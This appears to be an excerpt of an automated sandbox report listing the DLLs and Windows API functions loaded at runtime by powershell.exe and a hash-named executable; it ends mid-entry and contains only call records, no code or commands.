%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001336) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00001336)4c:Tc85a,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter UpdateProcThreadAttribute (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter DeleteProcThreadAttributeList (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetVolumeInformationByHandleW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter IsUserAnAdmin (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter SysAllocString (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetFileInformationByHandle (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter SetFileTime (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00003628) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter 